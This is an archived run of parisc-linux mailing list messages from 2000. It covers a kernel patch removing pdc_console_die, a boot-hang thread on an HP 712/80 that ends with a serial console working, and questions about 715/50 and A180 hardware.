Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619465 9315 80.91.229.3 (22 Nov 2014 01:24:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Sat Dec 23 06:34:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA01873
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 06:34:46 -0700
Original-Received: (qmail 660 invoked by uid 15267); 23 Dec 2000 13:37:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 653 invoked from network); 23 Dec 2000 13:37:48 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 13:37:48 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149orr-0003kv-00; Sat, 23 Dec 2000 13:37:47 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Thu, Dec 21, 2000 at 09:28:55PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8995

On Thu, Dec 21, 2000 at 09:28:55PM +0000, Matthew Wilcox wrote:
> I haven't tested STI console with these changes.  I don't have a
> monitor/kbd for my 712.  Someone should test this, and remove the calls
> to pdc_console_die (and remove pdc_console_die altogether).

here's a patch which does this.  please let me know how this works out
for you.


Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.22
diff -u -p -r1.22 pdc_cons.c
--- pdc_cons.c	2000/12/21 21:04:20	1.22
+++ pdc_cons.c	2000/12/23 13:10:45
@@ -66,7 +66,7 @@ static void pdc_console_write(struct con
 		pdc_putc(*s++);
 }
 
-int pdc_console_wait_key(struct console *co)
+static int pdc_console_wait_key(struct console *co)
 {
 	int ch = 'X';
 	int status;
@@ -96,11 +96,6 @@ int pdc_getc(void)
 	return pdc_console_wait_key(NULL);
 }
 
-static int pdc_console_setup(struct console *co, char *options)
-{
-	return 0;
-}
-
 static struct console pdc_cons = {
 	name:		"ttyB",
 	write:		pdc_console_write,
@@ -108,19 +103,19 @@ static struct console pdc_cons = {
 	device:		NULL, 
 	wait_key:	pdc_console_wait_key,
 	unblank:	NULL,
-	setup:		pdc_console_setup,
+	setup:		NULL,
 	flags:		CON_BOOT|CON_PRINTBUFFER|CON_ENABLED,  // |CON_CONSDEV,
 	index:		-1,
 };
 
 static int pdc_console_initialized;
 
-void pdc_console_init(void)
+void __init pdc_console_init(void)
 {
 	if (pdc_console_initialized)
 		return;
-	++pdc_console_initialized;
-	
+	pdc_console_initialized = 1;
+
 	/* If the console is duplex then copy the COUT parameters to CIN. */
 	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
 		memcpy(&PAGE0->mem_kbd, &PAGE0->mem_cons, sizeof(PAGE0->mem_cons));
@@ -130,32 +125,6 @@ void pdc_console_init(void)
 	register_console(&pdc_cons);
 }
 
-
-/* Unregister the pdc console with the printk console layer */
-void pdc_console_die(void)
-{
-	extern unsigned long log_size; /* kernel/printk.c */
-
-	printk("Switching from PDC console\n");
-	if (!pdc_console_initialized)
-		return;
-	--pdc_console_initialized;
-
-	/* Don't repeat what we've already printed */
-	log_size = 0;
-
-#ifdef CONFIG_VT_CONSOLE
-	{
-	    /* fixme (needed?): Wait for console-tasklet to finish !*/
-	    extern struct tasklet_struct console_tasklet;
-    	    tasklet_schedule(&console_tasklet);
-	}
-#endif
-
-	unregister_console(&pdc_cons);
-}
-
-
 /*
  * Used for emergencies. Currently only used if an HPMC occurs. If an
  * HPMC occurs, it is possible that the current console may not be
@@ -172,7 +141,7 @@ void pdc_console_restart(void)
 	if (pdc_console_initialized)
 		return;
 
-	while ((console = console_drivers) != (struct console *)0)
+	while ((console = console_drivers) != NULL)
 		unregister_console(console_drivers);
 
 	log_size = 0;
@@ -180,4 +149,3 @@ void pdc_console_restart(void)
 	printk("Switched to PDC console\n");
 	return;
 }
-
Index: drivers/video/sticon-bmode.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/sticon-bmode.c,v
retrieving revision 1.7
diff -u -p -r1.7 sticon-bmode.c
--- sticon-bmode.c	2000/12/02 21:03:48	1.7
+++ sticon-bmode.c	2000/12/23 13:11:09
@@ -861,13 +861,7 @@ static void __init sti_try_rom(unsigned 
 	sti_init_graph(sti);
 
 	//sti_inq_conf(sti);
-#if !defined(SERIAL_CONSOLE)	
-	{ 
-	    extern void pdc_console_die(void);  
-	    pdc_console_die(); 
-	}
-#endif
-		
+
 	take_over_console(&sti_con, 0, MAX_NR_CONSOLES-1, 1);
 
 	/* sti_inq_conf(sti); */
Index: drivers/video/sticon.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/sticon.c,v
retrieving revision 1.9
diff -u -p -r1.9 sticon.c
--- sticon.c	2000/10/16 22:21:24	1.9
+++ sticon.c	2000/12/23 13:11:09
@@ -219,7 +219,6 @@ static int __init sti_init(void)
 {
 	printk("searching for word mode STI ROMs\n");
 	if (sti_init_roms()) {
-		pdc_console_die();
 		take_over_console(&sti_con, 0, MAX_NR_CONSOLES-1, 1);
 		return 0;
 	} else
Index: drivers/video/stifb.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/stifb.c,v
retrieving revision 1.2
diff -u -p -r1.2 stifb.c
--- stifb.c	2000/10/16 22:21:24	1.2
+++ stifb.c	2000/12/23 13:11:09
@@ -183,7 +183,6 @@ stifb_init(void)
 	fbgen_do_set_var(&disp.var, 1, &fb_info.gen);
 	fbgen_set_disp(-1, &fb_info.gen);
 	fbgen_install_cmap(0, &fb_info.gen);
-	pdc_console_die();
 	if (register_framebuffer(&fb_info.gen.info) < 0)
 		return -EINVAL;
 

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Trzaska <j_trzaska@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] trouble booting from palinux-0.5.iso on 712/80
Date: Sat, 23 Dec 2000 16:14:15 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3A44C147.B56F25CA@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619465 9318 80.91.229.3 (22 Nov 2014 01:24:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: j_trzaska@gmx.net  Sat Dec 23 08:12:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA02665
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 08:12:21 -0700
Original-Received: (qmail 22767 invoked by uid 15267); 23 Dec 2000 15:15:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22752 invoked from network); 23 Dec 2000 15:15:25 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 15:15:25 -0000
Original-Received: (qmail 1330 invoked by uid 0); 23 Dec 2000 15:15:03 -0000
Original-Received: from pd90371ee.dip.t-dialin.net (HELO gmx.net) (217.3.113.238)
  by mail.gmx.net (mail02) with SMTP; 23 Dec 2000 15:15:03 -0000
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8996

Hello!
Since yesterday i'm the owner of a HP 712/80 and i've searched along 
the net to find an OS which is able to run on this box. When i found
palinux i downloaded the palinux-0.5.iso. But the booting process
doesn't seem to be successful. In the readme it says that i should
get a login prompt...but i don't get the prompt. The system stops
when saying:
"Switching from PDC console"

Thats all. I have a 12x Plextor cdrom booting from scsi-id 6. I also
tried to boot it from scsi-id 0. The same problem. The system has 
32MB RAM and Boot Rom Version 1.6. Is that perhaps a too old Boot
Rom? I read that it is updateable but cannot find an updated
version on the HP homepage or somewhere else. Can someone tell me 
where i can get an update?
I would give you the complete dmesg but i don't know how to get it
out of that box...since i cannot do anything. Any idea if what
is wrong with that box?


Regards Jens


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble booting from palinux-0.5.iso on 712/80
Date: Sat, 23 Dec 2000 15:49:51 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20001223154951.B20418@parcelfarce.linux.theplanet.co.uk>
References: <3A44C147.B56F25CA@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619466 9319 80.91.229.3 (22 Nov 2014 01:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jens Trzaska <j_trzaska@gmx.net>
Original-X-From: willy@www.linux.org.uk  Sat Dec 23 08:46:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA03260
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 08:46:49 -0700
Original-Received: (qmail 10827 invoked by uid 15267); 23 Dec 2000 15:49:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10819 invoked from network); 23 Dec 2000 15:49:53 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 15:49:53 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149qvf-0005ke-00; Sat, 23 Dec 2000 15:49:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A44C147.B56F25CA@gmx.net>; from j_trzaska@gmx.net on Sat, Dec 23, 2000 at 04:14:15PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8997

On Sat, Dec 23, 2000 at 04:14:15PM +0100, Jens Trzaska wrote:
> Hello!
> Since yesterday i'm the owner of a HP 712/80 and i've searched along 
> the net to find an OS which is able to run on this box. When i found
> palinux i downloaded the palinux-0.5.iso. But the booting process
> doesn't seem to be successful. In the readme it says that i should
> get a login prompt...but i don't get the prompt. The system stops
> when saying:
> "Switching from PDC console"

This ought to be, but isn't, in the FAQ.  Could someone who knows more about
the 0.5 CD-ROM than I do write up the answer for the FAQ?

Basically, your kernel is using the wrong console device.  try editing the
command line to specify `console=tty0'.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble booting from palinux-0.5.iso on 712/80
Date: Sat, 23 Dec 2000 11:14:39 -0500
Organization: The Puffins at Linuxcare
Lines: 21
Approved: news@gmane.org
Message-ID: <3A44CF6F.1692471A@linuxcare.com>
References: <3A44C147.B56F25CA@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619466 9323 80.91.229.3 (22 Nov 2014 01:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jens Trzaska <j_trzaska@gmx.net>
Original-X-From: adevries@linuxcare.com  Sat Dec 23 09:08:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA03615
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 09:08:38 -0700
Original-Received: (qmail 25318 invoked by uid 15267); 23 Dec 2000 16:11:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25307 invoked from network); 23 Dec 2000 16:11:32 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 16:11:32 -0000
Original-Received: (qmail 25637 invoked from network); 23 Dec 2000 16:11:32 -0000
Original-Received: from hse-ottawa-ppp156830.sympatico.ca (HELO linuxcare.com) (adevries@64.229.128.9)
  by smtp.linuxcare.com with SMTP; 23 Dec 2000 16:11:32 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8998

Jens Trzaska wrote:
> Since yesterday i'm the owner of a HP 712/80 and i've searched along
> the net to find an OS which is able to run on this box. When i found
> palinux i downloaded the palinux-0.5.iso. But the booting process
> doesn't seem to be successful. In the readme it says that i should
> get a login prompt...but i don't get the prompt. The system stops
> when saying:
> "Switching from PDC console"

Am I right in assuming:
- you're using a graphics head (not a serial console)
- you're using the built-in graphics, not an add on card?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble booting from palinux-0.5.iso on 712/80
Date: Sat, 23 Dec 2000 17:25:04 +0100 (CET)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0012231714501.5467-100000@noc.zabbadoz.net>
References: <20001223154951.B20418@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619466 9325 80.91.229.3 (22 Nov 2014 01:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:26 +0000 (UTC)
Cc: Jens Trzaska <j_trzaska@gmx.net>, <parisc-linux@thepuffingroup.com>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: bz@zabbadoz.net  Sat Dec 23 09:22:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04386
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 09:22:13 -0700
Original-Received: (qmail 1450 invoked by uid 15267); 23 Dec 2000 16:25:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1407 invoked from network); 23 Dec 2000 16:25:12 -0000
Original-Received: from mail.zabbadoz.net (195.2.176.194)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 16:25:12 -0000
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id eBNGP5Z29240;
	Sat, 23 Dec 2000 17:25:05 +0100 (CET)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <20001223154951.B20418@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8999

On Sat, 23 Dec 2000, Matthew Wilcox wrote:

> On Sat, Dec 23, 2000 at 04:14:15PM +0100, Jens Trzaska wrote:
> > Since yesterday i'm the owner of a HP 712/80 and i've searched along
> > the net to find an OS which is able to run on this box. When i found
> > palinux i downloaded the palinux-0.5.iso. But the booting process
> > doesn't seem to be successful. In the readme it says that i should
> > get a login prompt...but i don't get the prompt. The system stops
> > when saying:
> > "Switching from PDC console"
>
> This ought to be, but isn't, in the FAQ.  Could someone who knows more about
> the 0.5 CD-ROM than I do write up the answer for the FAQ?
>
> Basically, your kernel is using the wrong console device.  try editing the
> command line to specify `console=tty0'.

Hi,

I do not know much about it but running this image on a 715/100.
I think he does not use serial console:
On the palinux-0.5.iso it always switches to serial console and you
do not see anything more on the screen. Please use a null modem
cable and plug it into first serial port of your 712 and to
another PC.  Then use cu, minicom, hyperterminal (for win32) or
some similar terminal program to see if boot and init fail.
If not you get a Login prompt on serial console and can install
and afterwards after another reboot setup networking (as described
in the readmes) and use ssh to connect to the box.
As far as I know no screen is supported on that image (never tried
it after installing).

hope that helps.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Trzaska <j_trzaska@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] trouble booting from palinux-0.5.iso on 712/80
Date: Sat, 23 Dec 2000 17:31:32 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <3A44D364.D443B018@gmx.net>
References: <3A44C147.B56F25CA@gmx.net> <3A44CF6F.1692471A@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619467 9326 80.91.229.3 (22 Nov 2014 01:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: j_trzaska@gmx.net  Sat Dec 23 09:29:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04669
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 09:29:19 -0700
Original-Received: (qmail 5879 invoked by uid 15267); 23 Dec 2000 16:32:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5857 invoked from network); 23 Dec 2000 16:32:23 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 16:32:23 -0000
Original-Received: (qmail 31789 invoked by uid 0); 23 Dec 2000 16:32:21 -0000
Original-Received: from pd90371ee.dip.t-dialin.net (HELO gmx.net) (217.3.113.238)
  by mail.gmx.net (mail07) with SMTP; 23 Dec 2000 16:32:21 -0000
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9000



Alex deVries wrote:
> 
> Jens Trzaska wrote:
> > Since yesterday i'm the owner of a HP 712/80 and i've searched along
> > the net to find an OS which is able to run on this box. When i found
> > palinux i downloaded the palinux-0.5.iso. But the booting process
> > doesn't seem to be successful. In the readme it says that i should
> > get a login prompt...but i don't get the prompt. The system stops
> > when saying:
> > "Switching from PDC console"
> 
> Am I right in assuming:
> - you're using a graphics head (not a serial console)
> - you're using the built-in graphics, not an add on card?

yep...a quit normal 14" monitor and a keyboard...
but the trick with the serial console works. I'm now working over 
the serial with minicom from my notebook(FreeBSD). That's o.k.
It seems to run without any Problems. ethernet is running and so on.
I think palinux is great work. :)

Regards Jens


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some questions about the 715/50
Date: Sat, 23 Dec 2000 12:48:16 -0500
Organization: The Puffins at Linuxcare
Lines: 39
Approved: news@gmane.org
Message-ID: <3A44E560.BE825C97@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619467 9327 80.91.229.3 (22 Nov 2014 01:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Sat Dec 23 10:42:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA05891
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 10:42:15 -0700
Original-Received: (qmail 22680 invoked by uid 15267); 23 Dec 2000 17:45:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22572 invoked from network); 23 Dec 2000 17:45:12 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 17:45:12 -0000
Original-Received: (qmail 22398 invoked from network); 23 Dec 2000 17:45:11 -0000
Original-Received: from hse-ottawa-ppp156830.sympatico.ca (HELO linuxcare.com) (adevries@64.229.128.9)
  by smtp.linuxcare.com with SMTP; 23 Dec 2000 17:45:11 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9001


Here's a few choice entries from the inventory scan on my lovable
715/50:

2. Scorpio Core BA (11) at 0xf082f000, versions 0x7, 0x0, 0x70, 0x0,
0x0        
3. Scorpio Core SCSI (10) at 0xf0825000, versions 0x7, 0x0, 0x71, 0x0,
0x0      
4. Scorpio Core LAN (802.3) (10) at 0xf0826000, versions 0x7, 0x0, 0x72,
0x0, 00
5. Scorpio Core HIL (10) at 0xf0821000, versions 0x7, 0x0, 0x73, 0x0,
0x0       
6. Scorpio Core RS-232 (10) at 0xf0823000, versions 0x7, 0x0, 0x75, 0x0,
0x0    
...
9. Scorpio Audio (10) at 0xf1000000, versions 0x7, 0x0, 0x7b, 0x0,
0x0          
10. Scorpio EISA BA (11) at 0xfc000000, versions 0x7, 0x0, 0x76, 0x0,
0x0       

Scorpio's a 715/old, and has two IO chips in it: WAX and Lasi. Scorpio
Jr. (715/33) and Scorpio Sr. (715/75) are identical.

My questions:

a. The docs say that WAX's HIL on a GSC (not GSC+) is at 0xf0201000, but
the HIL reported above is clearly in the ASP range.  Is there actually a
HIL controller on ASP? More importantly, how are the interrupts routed?

b. What on earth is that sound chip at 0xf1000000? Is that Cherry?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A180 Ignition Howto
Date: Wed, 12 May 1999 16:06:05 PDT
Lines: 71
Approved: news@gmane.org
Message-ID: <199905130018.RAA28053@chrome.rose.hp.com>
References: <yq1vhdz9r1q.fsf@jaguar.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619467 9330 80.91.229.3 (22 Nov 2014 01:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:27 +0000 (UTC)
To: mkp@mkp.net (Martin K. Petersen)
Original-X-From: kirkb@chrome.rose.hp.com  Wed May 12 18:17:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA15946
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 18:17:39 -0600
Original-Received: (qmail 10294 invoked by uid 15267); 13 May 1999 00:17:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10287 invoked from network); 13 May 1999 00:17:17 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 13 May 1999 00:17:17 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id UAA16661
	for <parisc-linux@thepuffingroup.com>; Wed, 12 May 1999 20:17:35 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id RAA28053 for parisc-linux@thepuffingroup.com; Wed, 12 May 1999 17:18:23 -0700 (PDT)
Resent-From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Resent-Message-Id: <199905130018.RAA28053@chrome.rose.hp.com>
Resent-To: parisc-linux@thepuffingroup.com
Resent-Date: Wed, 12 May 1999 17:18:22 PDT
In-Reply-To: <yq1vhdz9r1q.fsf@jaguar.socsci.auc.dk>; from "Martin K. Petersen" at May 12, 99 12:31 (midnight)
Xref: news.gmane.org gmane.linux.ports.parisc:9002

| 
| 
| Alex asked me to post this...
| 
| My A180 arrived a couple of days ago.
| 
| Just like any other HP box there are loads of HP-UX docs but no
| information on the hardware at all. Grrr. HP. When will you ever
| learn?

Did you try out the online information? Try the following URL.
It has lots of answers to "How Do I ..." questions:

http:/eproducts.hp.com/A-Class/frame_service.html

| 
| The A180 has a builtin webconsole. On the back of the system unit
| there are two RJ45 connectors. One of them is regular ethernet
| (DEC2114x btw. Should be piece of cake to get running) and the other
| is for the webconsole.
| 
| According to the docs on HP's website the system should autodetect
| whether to use serial port or web as console. 

The autodectection is based on seeing LINK_OK on the webconsole port. 
If there is an active LAN attached, you will attach via the webconsole.
Note that the RS-232 hardware is the same whether you use the RS-232 
connection or the webified version. The only thing the LINK_OK does is
flip a mux.

Did you get you systems with a management card? It's handy if you did
since you'd be able to reset a hung system remotely. 

|                                                I was unable to get my
| HP 70096 serial console running, though. Then I discovered a jumper on
| the motherboard which could allegedly force it in either mode. I tried
| moving it to serial with no avail.

What cable were you using? The cable I have connected to my system 
is an HP 24542G RS-232 cable. Here is the pinout:

CPU		Peripheral
9-pin F		25-pin M
1 <------------- 4
2 <------------- 2
3 -------------> 3
4 --------+----> 5
	  |
	  +----> 6
5 <------------> 7
6 <----+-------- 20
       |
8 <----+
7 -------------> 8

| 
| Oh, well. Bugger. Then I decided to try out the webconsole. The
| interface defaults to 192.0.0.192. Clickety-clik. *Blam* the Java
| stuff in the webconsole nuked my Netscape. Grumble.

The docs say that Netscape 3.01 should be okay. 

KMB

--
+============================================================+
|       Kirk Bresniker    	(916) 785-5677		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Trzaska <j_trzaska@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] starting 712/80 without keyboard?
Date: Sat, 23 Dec 2000 20:05:07 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <3A44F763.2CB637F9@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619467 9334 80.91.229.3 (22 Nov 2014 01:24:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: j_trzaska@gmx.net  Sat Dec 23 12:03:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA06621
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 12:03:03 -0700
Original-Received: (qmail 9253 invoked by uid 15267); 23 Dec 2000 19:06:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9243 invoked from network); 23 Dec 2000 19:06:07 -0000
